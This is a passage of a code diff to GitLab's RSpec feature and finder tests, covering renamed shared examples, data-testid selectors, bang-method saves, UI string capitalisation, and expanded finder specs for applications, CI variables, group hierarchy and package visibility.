--- a/spec/features/projects/show/user_uploads_files_spec.rb
+++ b/spec/features/projects/show/user_uploads_files_spec.rb
@@ -17,11 +17,17 @@ RSpec.describe 'Projects > Show > User uploads files' do
context 'when a user has write access' do
before do
visit(project_path(project))
+
+ wait_for_requests
end
- include_examples 'it uploads and commit a new text file'
+ include_examples 'it uploads and commits a new text file'
+
+ include_examples 'it uploads and commits a new image file'
+
+ include_examples 'it uploads and commits a new pdf file'
- include_examples 'it uploads and commit a new image file'
+ include_examples 'it uploads a file to a sub-directory'
end
context 'when a user does not have write access' do
@@ -31,7 +37,7 @@ RSpec.describe 'Projects > Show > User uploads files' do
visit(project_path(project2))
end
- include_examples 'it uploads and commit a new file to a forked project'
+ include_examples 'it uploads and commits a new file to a forked project'
end
context 'when in the empty_repo_upload experiment' do
diff --git a/spec/features/projects/snippets/user_comments_on_snippet_spec.rb b/spec/features/projects/snippets/user_comments_on_snippet_spec.rb
index b37d40c0eed..3ccb73c88ef 100644
--- a/spec/features/projects/snippets/user_comments_on_snippet_spec.rb
+++ b/spec/features/projects/snippets/user_comments_on_snippet_spec.rb
@@ -29,7 +29,6 @@ RSpec.describe 'Projects > Snippets > User comments on a snippet', :js do
end
it 'has autocomplete' do
- find('#note_note').native.send_keys('')
fill_in 'note[note]', with: '@'
expect(page).to have_selector('.atwho-view')
diff --git a/spec/features/projects/sub_group_issuables_spec.rb b/spec/features/projects/sub_group_issuables_spec.rb
index 8c1d88276df..d7614201740 100644
--- a/spec/features/projects/sub_group_issuables_spec.rb
+++ b/spec/features/projects/sub_group_issuables_spec.rb
@@ -16,18 +16,18 @@ RSpec.describe 'Subgroup Issuables', :js do
it 'shows the full subgroup title when issues index page is empty' do
visit project_issues_path(project)
- expect_to_have_full_subgroup_title
+ expect_to_have_breadcrumb_links
end
it 'shows the full subgroup title when merge requests index page is empty' do
visit project_merge_requests_path(project)
- expect_to_have_full_subgroup_title
+ expect_to_have_breadcrumb_links
end
- def expect_to_have_full_subgroup_title
- title = find('.breadcrumbs-links')
+ def expect_to_have_breadcrumb_links
+ links = find('[data-testid="breadcrumb-links"]')
- expect(title).to have_content 'group subgroup project'
+ expect(links).to have_content 'group subgroup project'
end
end
diff --git a/spec/features/projects/user_sees_sidebar_spec.rb b/spec/features/projects/user_sees_sidebar_spec.rb
index e5ba6b503cc..ff6217d02a7 100644
--- a/spec/features/projects/user_sees_sidebar_spec.rb
+++ b/spec/features/projects/user_sees_sidebar_spec.rb
@@ -208,7 +208,7 @@ RSpec.describe 'Projects > User sees sidebar' do
it 'shows build tab if builds are public' do
project.public_builds = true
- project.save
+ project.save!
visit project_path(project)
diff --git a/spec/features/projects/user_sees_user_popover_spec.rb b/spec/features/projects/user_sees_user_popover_spec.rb
index 52e65deae3b..e357824a533 100644
--- a/spec/features/projects/user_sees_user_popover_spec.rb
+++ b/spec/features/projects/user_sees_user_popover_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe 'User sees user popover', :js do
end
end
- it "displays user popover in system note" do
+ it 'displays user popover in system note', :sidekiq_inline do
add_note("/assign @#{user.username}")
find('.system-note-message .js-user-link').hover
diff --git a/spec/features/projects/user_uses_shortcuts_spec.rb b/spec/features/projects/user_uses_shortcuts_spec.rb
index f97c8d820e3..b6fde19e0d4 100644
--- a/spec/features/projects/user_uses_shortcuts_spec.rb
+++ b/spec/features/projects/user_uses_shortcuts_spec.rb
@@ -151,7 +151,7 @@ RSpec.describe 'User uses shortcuts', :js do
find('body').native.send_key('g')
find('body').native.send_key('m')
- expect(page).to have_active_navigation('Merge Requests')
+ expect(page).to have_active_navigation('Merge requests')
end
end
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index 4730679feb8..c18b0f2688b 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -174,26 +174,6 @@ RSpec.describe 'Project' do
end
end
- describe 'remove forked relationship', :js do
- let(:user) { create(:user) }
- let(:project) { fork_project(create(:project, :public), user, namespace: user.namespace) }
-
- before do
- sign_in user
- visit edit_project_path(project)
- end
-
- it 'removes fork' do
- expect(page).to have_content 'Remove fork relationship'
-
- remove_with_confirm('Remove fork relationship', project.path)
-
- expect(page).to have_content 'The fork relationship has been removed.'
- expect(project.reload.forked?).to be_falsey
- expect(page).not_to have_content 'Remove fork relationship'
- end
- end
-
describe 'showing information about source of a project fork' do
let(:user) { create(:user) }
let(:base_project) { create(:project, :public, :repository) }
diff --git a/spec/features/protected_branches_spec.rb b/spec/features/protected_branches_spec.rb
index eb099359df9..207b74c990a 100644
--- a/spec/features/protected_branches_spec.rb
+++ b/spec/features/protected_branches_spec.rb
@@ -24,8 +24,8 @@ RSpec.describe 'Protected Branches', :js do
it 'does not allow developer to removes protected branch' do
visit project_branches_path(project)
- fill_in 'branch-search', with: 'fix'
- find('#branch-search').native.send_keys(:enter)
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
expect(page).to have_css('.btn-danger.disabled')
end
@@ -47,8 +47,8 @@ RSpec.describe 'Protected Branches', :js do
it 'removes branch after modal confirmation' do
visit project_branches_path(project)
- fill_in 'branch-search', with: 'fix'
- find('#branch-search').native.send_keys(:enter)
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
@@ -58,8 +58,8 @@ RSpec.describe 'Protected Branches', :js do
fill_in 'delete_branch_input', with: 'fix'
click_link 'Delete protected branch'
- fill_in 'branch-search', with: 'fix'
- find('#branch-search').native.send_keys(:enter)
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
expect(page).to have_content('No branches to show')
end
diff --git a/spec/features/registrations/welcome_spec.rb b/spec/features/registrations/welcome_spec.rb
new file mode 100644
index 00000000000..74320b69f19
--- /dev/null
+++ b/spec/features/registrations/welcome_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Welcome screen' do
+ let(:user) { create(:user) }
+
+ before do
+ gitlab_sign_in(user)
+
+ visit users_sign_up_welcome_path
+ end
+
+ it 'shows the email opt in' do
+ select 'Software Developer', from: 'user_role'
+ check 'user_email_opted_in'
+ click_button 'Get started!'
+
+ expect(user.reload.email_opted_in).to eq(true)
+ end
+end
diff --git a/spec/features/runners_spec.rb b/spec/features/runners_spec.rb
index cc024ab8f35..acfb7c2602a 100644
--- a/spec/features/runners_spec.rb
+++ b/spec/features/runners_spec.rb
@@ -49,19 +49,19 @@ RSpec.describe 'Runners' do
visit project_runners_path(project)
within '.activated-specific-runners' do
- expect(page).to have_content('Pause')
+ expect(page).to have_link('Pause')
end
click_on 'Pause'
within '.activated-specific-runners' do
- expect(page).to have_content('Resume')
+ expect(page).to have_link('Resume')
end
click_on 'Resume'
within '.activated-specific-runners' do
- expect(page).to have_content('Pause')
+ expect(page).to have_link('Pause')
end
end
@@ -79,7 +79,7 @@ RSpec.describe 'Runners' do
visit project_runners_path(project)
within '.activated-specific-runners' do
- first('.edit-runner > a').click
+ first('[data-testid="edit-runner-link"]').click
end
expect(page.find_field('runner[access_level]')).not_to be_checked
@@ -92,14 +92,14 @@ RSpec.describe 'Runners' do
context 'when a runner has a tag' do
before do
- specific_runner.update(tag_list: ['tag'])
+ specific_runner.update!(tag_list: ['tag'])
end
it 'user edits runner not to run untagged jobs' do
visit project_runners_path(project)
within '.activated-specific-runners' do
- first('.edit-runner > a').click
+ first('[data-testid="edit-runner-link"]').click
end
expect(page.find_field('runner[run_untagged]')).to be_checked
@@ -370,7 +370,7 @@ RSpec.describe 'Runners' do
context 'when a runner has a tag' do
before do
- runner.update(tag_list: ['tag'])
+ runner.update!(tag_list: ['tag'])
end
it 'user edits runner not to run untagged jobs' do
@@ -450,7 +450,7 @@ RSpec.describe 'Runners' do
context 'when a runner has a tag' do
before do
- runner.update(tag_list: ['tag'])
+ runner.update!(tag_list: ['tag'])
end
it 'user edits runner not to run untagged jobs' do
diff --git a/spec/features/search/user_uses_header_search_field_spec.rb b/spec/features/search/user_uses_header_search_field_spec.rb
index 9296a3f33d4..4c42800cf05 100644
--- a/spec/features/search/user_uses_header_search_field_spec.rb
+++ b/spec/features/search/user_uses_header_search_field_spec.rb
@@ -175,7 +175,7 @@ RSpec.describe 'User uses header search field', :js do
fill_in_search('Merge')
within(dashboard_search_options_popup_menu) do
- expect(page).to have_text('Merge Requests')
+ expect(page).to have_text('Merge requests')
end
end
diff --git a/spec/features/security/project/internal_access_spec.rb b/spec/features/security/project/internal_access_spec.rb
index 2440b738db3..9dcef13757a 100644
--- a/spec/features/security/project/internal_access_spec.rb
+++ b/spec/features/security/project/internal_access_spec.rb
@@ -356,7 +356,7 @@ RSpec.describe "Internal Project Access" do
context "when allowed for public and internal" do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -372,7 +372,7 @@ RSpec.describe "Internal Project Access" do
context "when disallowed for public and internal" do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
@@ -396,7 +396,7 @@ RSpec.describe "Internal Project Access" do
context "when allowed for public and internal" do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -412,7 +412,7 @@ RSpec.describe "Internal Project Access" do
context "when disallowed for public and internal" do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
@@ -436,7 +436,7 @@ RSpec.describe "Internal Project Access" do
context 'when allowed for public and internal' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -452,7 +452,7 @@ RSpec.describe "Internal Project Access" do
context 'when disallowed for public and internal' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
diff --git a/spec/features/security/project/private_access_spec.rb b/spec/features/security/project/private_access_spec.rb
index 9d3109b92e6..5a200bea80a 100644
--- a/spec/features/security/project/private_access_spec.rb
+++ b/spec/features/security/project/private_access_spec.rb
@@ -319,7 +319,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:guest).of(project) }
@@ -348,7 +348,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:guest).of(project) }
@@ -375,7 +375,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:guest).of(project) }
@@ -405,7 +405,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:guest).of(project) }
@@ -414,7 +414,7 @@ RSpec.describe "Private Project Access" do
context 'when public buils are disabled' do
before do
project.public_builds = false
- project.save
+ project.save!
end
it { is_expected.to be_denied_for(:guest).of(project) }
@@ -440,7 +440,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:guest).of(project) }
@@ -448,7 +448,7 @@ RSpec.describe "Private Project Access" do
context 'when public builds is disabled' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it { is_expected.to be_denied_for(:guest).of(project) }
diff --git a/spec/features/security/project/public_access_spec.rb b/spec/features/security/project/public_access_spec.rb
index 28a1f1cda7f..8ceb6920e77 100644
--- a/spec/features/security/project/public_access_spec.rb
+++ b/spec/features/security/project/public_access_spec.rb
@@ -164,7 +164,7 @@ RSpec.describe "Public Project Access" do
context "when allowed for public" do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -180,7 +180,7 @@ RSpec.describe "Public Project Access" do
context "when disallowed for public" do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
@@ -204,7 +204,7 @@ RSpec.describe "Public Project Access" do
context "when allowed for public" do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -220,7 +220,7 @@ RSpec.describe "Public Project Access" do
context "when disallowed for public" do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
@@ -244,7 +244,7 @@ RSpec.describe "Public Project Access" do
context 'when allowed for public' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
end
it { is_expected.to be_allowed_for(:admin) }
@@ -260,7 +260,7 @@ RSpec.describe "Public Project Access" do
context 'when disallowed for public' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
diff --git a/spec/features/snippets/notes_on_personal_snippets_spec.rb b/spec/features/snippets/notes_on_personal_snippets_spec.rb
index ce9a2d1461e..47dad9bd88e 100644
--- a/spec/features/snippets/notes_on_personal_snippets_spec.rb
+++ b/spec/features/snippets/notes_on_personal_snippets_spec.rb
@@ -108,9 +108,6 @@ RSpec.describe 'Comments on personal snippets', :js do
end
it 'does not have autocomplete' do
- wait_for_requests
-
- find('#note_note').native.send_keys('')
fill_in 'note[note]', with: '@'
wait_for_requests
diff --git a/spec/features/users/anonymous_sessions_spec.rb b/spec/features/users/anonymous_sessions_spec.rb
index 420fb225f94..273d3aa346f 100644
--- a/spec/features/users/anonymous_sessions_spec.rb
+++ b/spec/features/users/anonymous_sessions_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Session TTLs', :clean_gitlab_redis_shared_state do
fill_in 'user_password', with: '12345678'
click_button 'Sign in'
- expect(page).to have_content('Invalid Login or password')
+ expect(page).to have_content('Invalid login or password')
expect_single_session_with_expiration(Settings.gitlab['unauthenticated_session_expire_delay'])
end
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 1d1120709b5..e60d9d6ab69 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -138,7 +138,7 @@ RSpec.describe 'Login' do
gitlab_sign_in(User.ghost)
- expect(page).to have_content('Invalid Login or password.')
+ expect(page).to have_content('Invalid login or password.')
end
it 'does not update Devise trackable attributes', :clean_gitlab_redis_shared_state do
@@ -239,7 +239,7 @@ RSpec.describe 'Login' do
expect(codes.size).to eq 10
# Ensure the generated codes get saved
- user.save(touch: false)
+ user.save!(touch: false)
end
context 'with valid code' do
@@ -406,7 +406,7 @@ RSpec.describe 'Login' do
gitlab_sign_in(user)
- expect(page).to have_content('Invalid Login or password.')
+ expect(page).to have_content('Invalid login or password.')
end
end
end
diff --git a/spec/features/users/show_spec.rb b/spec/features/users/show_spec.rb
index a8372800700..56d2aaea203 100644
--- a/spec/features/users/show_spec.rb
+++ b/spec/features/users/show_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'User page' do
context 'work information' do
it 'shows job title and organization details' do
- user.update(organization: 'GitLab - work info test', job_title: 'Frontend Engineer')
+ user.update!(organization: 'GitLab - work info test', job_title: 'Frontend Engineer')
subject
@@ -41,7 +41,7 @@ RSpec.describe 'User page' do
end
it 'shows job title' do
- user.update(organization: nil, job_title: 'Frontend Engineer - work info test')
+ user.update!(organization: nil, job_title: 'Frontend Engineer - work info test')
subject
@@ -49,7 +49,7 @@ RSpec.describe 'User page' do
end
it 'shows organization details' do
- user.update(organization: 'GitLab - work info test', job_title: '')
+ user.update!(organization: 'GitLab - work info test', job_title: '')
subject
diff --git a/spec/features/users/terms_spec.rb b/spec/features/users/terms_spec.rb
index 7500f2fe59a..8ba79d77c22 100644
--- a/spec/features/users/terms_spec.rb
+++ b/spec/features/users/terms_spec.rb
@@ -121,7 +121,7 @@ RSpec.describe 'Users > Terms' do
enforce_terms
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(current_path).to eq(terms_path)
diff --git a/spec/features/whats_new_spec.rb b/spec/features/whats_new_spec.rb
index 7c5625486f5..55b96361f03 100644
--- a/spec/features/whats_new_spec.rb
+++ b/spec/features/whats_new_spec.rb
@@ -2,34 +2,60 @@
require "spec_helper"
-RSpec.describe "renders a `whats new` dropdown item", :js do
+RSpec.describe "renders a `whats new` dropdown item" do
let_it_be(:user) { create(:user) }
- before do
- sign_in(user)
- end
+ context 'when not logged in' do
+ it 'and on .com it renders' do
+ allow(Gitlab).to receive(:com?).and_return(true)
- it 'shows notification dot and count and removes it once viewed' do
- visit root_dashboard_path
+ visit user_path(user)
- page.within '.header-help' do
- expect(page).to have_selector('.notification-dot', visible: true)
+ page.within '.header-help' do
+ find('.header-help-dropdown-toggle').click
- find('.header-help-dropdown-toggle').click
+ expect(page).to have_button(text: "What's new")
+ end
+ end
+
+ it "doesn't render what's new" do
+ visit user_path(user)
- expect(page).to have_button(text: "What's new")
- expect(page).to have_selector('.js-whats-new-notification-count')
+ page.within '.header-help' do
+ find('.header-help-dropdown-toggle').click
+
+ expect(page).not_to have_button(text: "What's new")
+ end
+ end
+ end
- find('button', text: "What's new").click
+ context 'when logged in', :js do
+ before do
+ sign_in(user)
end
- find('.whats-new-drawer .gl-drawer-close-button').click
- find('.header-help-dropdown-toggle').click
+ it 'shows notification dot and count and removes it once viewed' do
+ visit root_dashboard_path
+
+ page.within '.header-help' do
+ expect(page).to have_selector('.notification-dot', visible: true)
+
+ find('.header-help-dropdown-toggle').click
+
+ expect(page).to have_button(text: "What's new")
+ expect(page).to have_selector('.js-whats-new-notification-count')
+
+ find('button', text: "What's new").click
+ end
+
+ find('.whats-new-drawer .gl-drawer-close-button').click
+ find('.header-help-dropdown-toggle').click
- page.within '.header-help' do
- expect(page).not_to have_selector('.notification-dot', visible: true)
- expect(page).to have_button(text: "What's new")
- expect(page).not_to have_selector('.js-whats-new-notification-count')
+ page.within '.header-help' do
+ expect(page).not_to have_selector('.notification-dot', visible: true)
+ expect(page).to have_button(text: "What's new")
+ expect(page).not_to have_selector('.js-whats-new-notification-count')
+ end
end
end
end
diff --git a/spec/finders/applications_finder_spec.rb b/spec/finders/applications_finder_spec.rb
index dc615144b88..b6c48d8cdae 100644
--- a/spec/finders/applications_finder_spec.rb
+++ b/spec/finders/applications_finder_spec.rb
@@ -5,18 +5,48 @@ require 'spec_helper'
RSpec.describe ApplicationsFinder do
let(:application1) { create(:application, name: 'some_application', owner: nil, redirect_uri: 'http://some_application.url', scopes: '') }
let(:application2) { create(:application, name: 'another_application', owner: nil, redirect_uri: 'http://other_application.url', scopes: '') }
+ let(:user_application) { create(:application, name: 'user_application', owner: create(:user), redirect_uri: 'http://user_application.url', scopes: '') }
+ let(:group_application) { create(:application, name: 'group_application', owner: create(:group), redirect_uri: 'http://group_application.url', scopes: '') }
describe '#execute' do
- it 'returns an array of applications' do
+ it 'returns an array of instance applications' do
found = described_class.new.execute
expect(found).to match_array([application1, application2])
end
- it 'returns the application by id' do
- params = { id: application1.id }
- found = described_class.new(params).execute
- expect(found).to match(application1)
+ context 'by_id' do
+ context 'with existing id' do
+ it 'returns the application' do
+ params = { id: application1.id }
+ found = described_class.new(params).execute
+
+ expect(found).to match(application1)
+ end
+ end
+
+ context 'with invalid id' do
+ it 'returns nil for user application' do
+ params = { id: user_application.id }
+ found = described_class.new(params).execute
+
+ expect(found).to be_nil
+ end
+
+ it 'returns nil for group application' do
+ params = { id: group_application.id }
+ found = described_class.new(params).execute
+
+ expect(found).to be_nil
+ end
+
+ it 'returns nil for non-existing application' do
+ params = { id: non_existing_record_id }
+ found = described_class.new(params).execute
+
+ expect(found).to be_nil
+ end
+ end
end
end
end
diff --git a/spec/finders/ci/variables_finder_spec.rb b/spec/finders/ci/variables_finder_spec.rb
index cd5f950ca8e..683788452cc 100644
--- a/spec/finders/ci/variables_finder_spec.rb
+++ b/spec/finders/ci/variables_finder_spec.rb
@@ -3,42 +3,57 @@
require 'spec_helper'
RSpec.describe Ci::VariablesFinder do
- let!(:project) { create(:project) }
- let!(:params) { {} }
+ shared_examples 'scoped variables' do
+ describe '#initialize' do
+ subject { described_class.new(owner, params) }
- let!(:var1) { create(:ci_variable, project: project, key: 'key1', environment_scope: 'staging') }
- let!(:var2) { create(:ci_variable, project: project, key: 'key2', environment_scope: 'staging') }
- let!(:var3) { create(:ci_variable, project: project, key: 'key2', environment_scope: 'production') }
+ context 'without key filter' do
+ let!(:params) { {} }
- describe '#initialize' do
- subject { described_class.new(project, params) }
-
- context 'without key filter' do
- let!(:params) { {} }
-
- it 'raises an error' do
- expect { subject }.to raise_error(ArgumentError, 'Please provide params[:key]')
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError, 'Please provide params[:key]')
+ end
end
end
- end
- describe '#execute' do
- subject { described_class.new(project.reload, params).execute }
+ describe '#execute' do
+ subject { described_class.new(owner.reload, params).execute }
- context 'with key filter' do
- let!(:params) { { key: 'key1' } }
+ context 'with key filter' do
+ let!(:params) { { key: 'key1' } }
- it 'returns var1' do
- expect(subject).to contain_exactly(var1)
+ it 'returns var1' do
+ expect(subject).to contain_exactly(var1)
+ end
end
- end
- context 'with key and environment_scope filter' do
- let!(:params) { { key: 'key2', filter: { environment_scope: 'staging' } } }
+ context 'with key and environment_scope filter' do
+ let!(:params) { { key: 'key2', filter: { environment_scope: 'staging' } } }
- it 'returns var2' do
- expect(subject).to contain_exactly(var2)
+ it 'returns var2' do
+ expect(subject).to contain_exactly(var2)
+ end
end
end
end
+
+ context 'for a project' do
+ let(:owner) { create(:project) }
+
+ let!(:var1) { create(:ci_variable, project: owner, key: 'key1', environment_scope: 'staging') }
+ let!(:var2) { create(:ci_variable, project: owner, key: 'key2', environment_scope: 'staging') }
+ let!(:var3) { create(:ci_variable, project: owner, key: 'key2', environment_scope: 'production') }
+
+ include_examples 'scoped variables'
+ end
+
+ context 'for a group' do
+ let(:owner) { create(:group) }
+
+ let!(:var1) { create(:ci_group_variable, group: owner, key: 'key1', environment_scope: 'staging') }
+ let!(:var2) { create(:ci_group_variable, group: owner, key: 'key2', environment_scope: 'staging') }
+ let!(:var3) { create(:ci_group_variable, group: owner, key: 'key2', environment_scope: 'production') }
+
+ include_examples 'scoped variables'
+ end
end
diff --git a/spec/finders/concerns/finder_with_group_hierarchy_spec.rb b/spec/finders/concerns/finder_with_group_hierarchy_spec.rb
new file mode 100644
index 00000000000..8c2026a00a1
--- /dev/null
+++ b/spec/finders/concerns/finder_with_group_hierarchy_spec.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe FinderWithGroupHierarchy do
+ let(:finder_class) do
+ Class.new do
+ include FinderWithGroupHierarchy
+ include Gitlab::Utils::StrongMemoize
+
+ def initialize(current_user, params = {})
+ @current_user = current_user
+ @params = params
+ end
+
+ def execute(skip_authorization: false)
+ @skip_authorization = skip_authorization
+
+ item_ids
+ end
+
+ # normally an array of item ids would be returned,
+ # however for this spec just return the group ids
+ def item_ids
+ group? ? group_ids_for(group) : []
+ end
+
+ private
+
+ attr_reader :current_user, :params, :skip_authorization
+
+ def read_permission
+ :read_label
+ end
+ end
+ end
+
+ let_it_be(:parent_group) { create(:group) }
+ let_it_be(:group) { create(:group, parent: parent_group) }
+ let_it_be(:private_group) { create(:group, :private) }
+ let_it_be(:private_subgroup) { create(:group, :private, parent: private_group) }
+
+ let(:user) { create(:user) }
+
+ context 'when specifying group' do
+ it 'returns only the group by default' do
+ finder = finder_class.new(user, group: group)
+
+ expect(finder.execute).to match_array([group.id])
+ end
+ end
+
+ context 'when specifying group_id' do
+ it 'returns only the group by default' do
+ finder = finder_class.new(user, group_id: group.id)
+
+ expect(finder.execute).to match_array([group.id])
+ end
+ end
+
+ context 'when including items from group ancestors' do
+ before do
+ private_subgroup.add_developer(user)
+ end
+
+ it 'returns group and its ancestors' do
+ private_group.add_developer(user)
+
+ finder = finder_class.new(user, group: private_subgroup, include_ancestor_groups: true)
+
+ expect(finder.execute).to match_array([private_group.id, private_subgroup.id])
+ end
+
+ it 'ignores groups which user can not read' do
+ finder = finder_class.new(user, group: private_subgroup, include_ancestor_groups: true)
+
+ expect(finder.execute).to match_array([private_subgroup.id])
+ end
+
+ it 'returns them all when skip_authorization is true' do
+ finder = finder_class.new(user, group: private_subgroup, include_ancestor_groups: true)
+
+ expect(finder.execute(skip_authorization: true)).to match_array([private_group.id, private_subgroup.id])
+ end
+ end
+
+ context 'when including items from group descendants' do
+ before do
+ private_subgroup.add_developer(user)
+ end
+
+ it 'returns items from group and its descendants' do
+ private_group.add_developer(user)
+
+ finder = finder_class.new(user, group: private_group, include_descendant_groups: true)
+
+ expect(finder.execute).to match_array([private_group.id, private_subgroup.id])
+ end
+
+ it 'ignores items from groups which user can not read' do
+ finder = finder_class.new(user, group: private_group, include_descendant_groups: true)
+
+ expect(finder.execute).to match_array([private_subgroup.id])
+ end
+
+ it 'returns them all when skip_authorization is true' do
+ finder = finder_class.new(user, group: private_group, include_descendant_groups: true)
+
+ expect(finder.execute(skip_authorization: true)).to match_array([private_group.id, private_subgroup.id])
+ end
+ end
+end
diff --git a/spec/finders/concerns/packages/finder_helper_spec.rb b/spec/finders/concerns/packages/finder_helper_spec.rb
index 73f77647573..c1740ee1796 100644
--- a/spec/finders/concerns/packages/finder_helper_spec.rb
+++ b/spec/finders/concerns/packages/finder_helper_spec.rb
@@ -6,7 +6,6 @@ RSpec.describe ::Packages::FinderHelper do
describe '#packages_visible_to_user' do
using RSpec::Parameterized::TableSyntax
- let_it_be(:user) { create(:user) }
let_it_be_with_reload(:group) { create(:group) }
let_it_be_with_reload(:project1) { create(:project, namespace: group) }
let_it_be(:package1) { create(:package, project: project1) }
@@ -44,41 +43,87 @@ RSpec.describe ::Packages::FinderHelper do
it { is_expected.to be_empty }
end
- where(:group_visibility, :subgroup_visibility, :project2_visibility, :user_role, :shared_example_name) do
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :maintainer | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :developer | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :guest | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :anonymous | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :maintainer | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :developer | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :guest | 'returning package1'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :anonymous | 'returning package1'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both packages'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both packages'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning package1'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning package1'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both packages'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both packages'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning no packages'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning no packages'
+ context 'with a user' do
+ let_it_be(:user) { create(:user) }
+
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :user_role, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :maintainer | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :developer | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :guest | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | :anonymous | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :maintainer | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :developer | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :guest | 'returning package1'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | :anonymous | 'returning package1'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both packages'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both packages'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning package1'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning package1'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :maintainer | 'returning both packages'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :developer | 'returning both packages'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :guest | 'returning no packages'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | :anonymous | 'returning no packages'
+ end
+
+ with_them do
+ before do
+ unless user_role == :anonymous
+ group.send("add_#{user_role}", user)
+ subgroup.send("add_#{user_role}", user)
+ project1.send("add_#{user_role}", user)
